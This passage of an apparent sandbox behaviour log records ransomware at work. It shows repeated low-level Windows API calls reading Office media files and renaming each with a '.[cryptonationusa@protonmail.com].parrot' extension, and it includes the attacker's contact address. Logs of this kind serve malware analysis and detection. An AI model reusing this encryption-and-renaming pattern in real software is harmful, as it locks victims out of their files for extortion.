out: hHeap=0x5b0000) returned 1 [0162.203] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0162.203] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x226c050 | out: hHeap=0x5b0000) returned 1 [0162.205] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0162.205] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0162.206] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.206] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb7a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xb7a, lpOverlapped=0x0) returned 1 [0162.206] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.209] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212701.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0212701.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212701.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0212701.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0162.210] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0162.210] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0162.210] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0162.212] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0162.212] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0162.214] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.214] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2424, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2424, lpOverlapped=0x0) returned 1 [0162.216] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.216] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212957.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0212957.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212957.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0212957.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0162.218] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0162.218] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0162.218] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x226c050 | out: hHeap=0x5b0000) returned 1 [0162.221] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0162.221] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0162.234] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.234] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x68ba, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x68ba, lpOverlapped=0x0) returned 1 [0162.240] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.241] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0214098.WAV" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0214098.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0214098.WAV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0214098.wav.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0162.244] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0162.244] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0162.244] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2270090 | out: hHeap=0x5b0000) returned 1 [0162.245] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0162.245] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0162.247] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.247] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1d3a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1d3a, lpOverlapped=0x0) returned 1 [0162.248] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.248] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0215086.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0215086.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0215086.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0215086.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0162.250] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0162.250] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0162.250] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2264048 | out: hHeap=0x5b0000) returned 1 [0162.254] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0162.254] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0162.255] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.255] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3138, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3138, lpOverlapped=0x0) returned 1 [0162.257] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.258] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216516.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0216516.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216516.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0216516.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0162.259] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0162.259] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0162.259] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x226c050 | out: hHeap=0x5b0000) returned 1 [0162.261] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0162.261] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0162.262] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.263] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1c06, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1c06, lpOverlapped=0x0) returned 1 [0162.264] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.264] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216588.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0216588.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216588.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0216588.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0162.265] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0162.265] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0162.265] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2264048 | out: hHeap=0x5b0000) returned 1 [0162.270] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0162.270] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0162.271] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.271] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5d78, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x5d78, lpOverlapped=0x0) returned 1 [0162.273] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.274] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216724.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0216724.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216724.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0216724.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0162.275] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0162.276] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0162.276] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2270090 | out: hHeap=0x5b0000) returned 1 [0162.277] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0162.277] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0162.279] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.279] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2dc4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2dc4, lpOverlapped=0x0) returned 1 [0162.281] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.281] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216858.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0216858.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216858.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0216858.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0162.283] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0162.283] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0162.283] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x226c050 | out: hHeap=0x5b0000) returned 1 [0162.286] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0162.286] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0162.287] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.287] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1aea, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1aea, lpOverlapped=0x0) returned 1 [0162.288] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.288] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0217698.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0217698.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0217698.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0217698.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0162.290] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0162.290] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0162.290] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2264048 | out: hHeap=0x5b0000) returned 1 [0162.293] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0162.293] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0162.294] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.294] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3838, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3838, lpOverlapped=0x0) returned 1 [0162.296] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.297] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0221903.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0221903.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0221903.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0221903.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0162.299] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0162.299] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0162.299] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x226c050 | out: hHeap=0x5b0000) returned 1 [0162.302] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0162.302] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0162.303] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.303] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x78a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x78a, lpOverlapped=0x0) returned 1 [0162.304] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.304] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222015.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0222015.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222015.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0222015.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0162.305] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0162.305] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0162.305] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0162.307] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0162.307] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0162.309] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.309] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x632, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x632, lpOverlapped=0x0) returned 1 [0162.309] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.310] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222017.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0222017.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222017.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0222017.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0162.311] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0162.311] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0162.311] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6af250 | out: hHeap=0x5b0000) returned 1 [0162.313] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0162.313] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0162.315] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.315] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x58e, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x58e, lpOverlapped=0x0) returned 1 [0162.315] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.315] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222019.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0222019.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222019.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0222019.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0162.317] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0162.317] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0162.317] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0162.318] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0162.318] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0162.320] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.320] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7c6, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x7c6, lpOverlapped=0x0) returned 1 [0162.320] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.321] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222021.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0222021.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222021.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0222021.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0162.323] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0162.323] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0162.323] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0162.325] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0162.325] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0162.329] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.329] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xf5c, 